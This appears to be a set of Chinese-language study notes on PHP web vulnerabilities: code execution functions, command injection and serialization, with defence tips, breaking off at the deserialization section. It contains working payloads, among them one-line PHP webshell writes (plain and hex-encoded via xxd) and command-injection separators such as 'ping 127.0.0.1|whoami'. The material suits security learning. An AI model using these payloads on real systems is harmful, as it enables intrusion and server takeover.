代码执行命令执行反序列化
PHP代码执行
eval()
1 2 3
| eval()会将字符串当作PHP代码执行。
里面参数的值需要”;” 结尾
|
assert()
1 2 3
| assert()会将字符串当作PHP代码执行。
里面参数不需要”;” 结尾
|
preg_replace()
1 2 3 4 5 6 7
| preg_replace()的作用是对字符串进行正则处理 preg_replace(a,b,abcd)
preg_replace($pattern,$replacement,$subject) 当第一个参数存在e修饰符时,第二个参数的值会被当成PHP代码来执行。
如preg_replace(“/\[(.*)\]/e”,’\\1’,$code);
|
call_user_func()等函数
1 2 3 4 5 6 7
| <?php $fun=$_GET['fun']; $para=$_GET['para']; call_user_func($fun,$para); ?> 该函数的第一个参数作为回调函数,后面的参数为回调函数的参数
|
动态函数$a($b)
1 2 3 4 5
| <?php $a=$_GET['a']; $b=$_GET['b']; $a($b); ?>
|
代码执行利用
1
| print file_get_contents('C:\Windows\System32\drivers\etc\hosts')
|
1 2 3
| file_put_contents(文件名,内容)
http://127.0.0.1/code_eval.php?name= echo ^<?php eval($_POST[pandas]); ?^> >C:/wwwroot/webshell.php
|
PHP代码执行防御
1.尽量不要使用eval等函数
2.如果使用的话一定要进行严格的过滤
3.preg_replace 放弃使用/e修饰符
4.在php配置文件中禁用危险函数
disable_functions
命令执行漏洞
命令执行危险函数
1 2
| 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果需要反复输出调用不同系统外部命令的结果,最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。
|
1 2
| 和exec的区别在于system在执行系统外部命令时,直接将结果输出到游览器,不需要使用 echo 或 return 来查看结果,如果成功则返回命令输出的最后一行,否则返回false。第二个参数与exec第三个参数含义一样。
|
1 2
| 函数实际上仅是反引号 (`) 操作符的变体,不输出结果,返回执行结果
|
1 2 3
| 在linux中起到的是命令替换的作用, 命令置换是指shell能够将一个命令的标准输出插在一个命令行中任何位置
|
1 2
| passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
|
1 2 3 4 5 6 7
| 使用 command 参数打开进程文件指针。能够将字符串作为OS命令执行,但是该函数并不返回命令结果,也没有任何输出结果,而是返回一个文件指针。 command 必需。规定要执行的命令。 mode 必需。规定连接模式。 可能的值: r: 只读。 w: 只写(打开并清空已有文件或创建一个新文件)
|
命令执行漏洞利用
继承web用户权限
1 2 3 4 5 6 7 8
| 1. 查看系统文件 type 文件路径
2. 显示当前路径 Cd
3. 写文件 echo ^<?php eval($_POST[a])?^> > D:\a.txt
|
写入webshell:
1 2 3 4 5 6
| 利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[kang]); ?>,方法如下: WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字
linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下: echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字
|
命令连接符
1 2 3 4 5 6 7 8 9
| | 命令管道符
<>>> 文件重定向符
测试: 0 | dir c:
代码只过滤了部分特殊字符,可以考虑用其他字符进行测试,这边列举一下Window/Linux可利用的特殊字符:
|
windows支持:
1 2 3 4 5 6 7
| | 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
|
Linux支持:
1 2 3 4 5 6 7 8 9
| ; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
11 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
|
命令注入防御
尽量减少命令执行函数的使用,并在disable_functions中禁用
对参数进行过滤
参数值尽量使用引号包裹,并用转义函数如addslashes转义。
升级到PHP最新版本,对大部分常见的执行动态代码的方法进行了封堵。
PHP反序列化漏洞
序列化:在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。
逆向的过程就叫做反序列化。
PHP通过string serialize ( mixed $value )和mixed unserialize( string $str )两个函数实现序列化和反序列化。
序列化函数
1
| 在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。
|
1
| 将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。
|
序列化与反序列化作用
序列化的目的是方便数据的传输和存储
在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存, cookie等。
对象基本概念
类、属性、方法、对象
O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”daye”;}
对象类型:长度:”类名“:类中变量的个数:{类型:长度:“值”;类型:长度:“值“;…..}
反序列化漏洞可能会用到的方法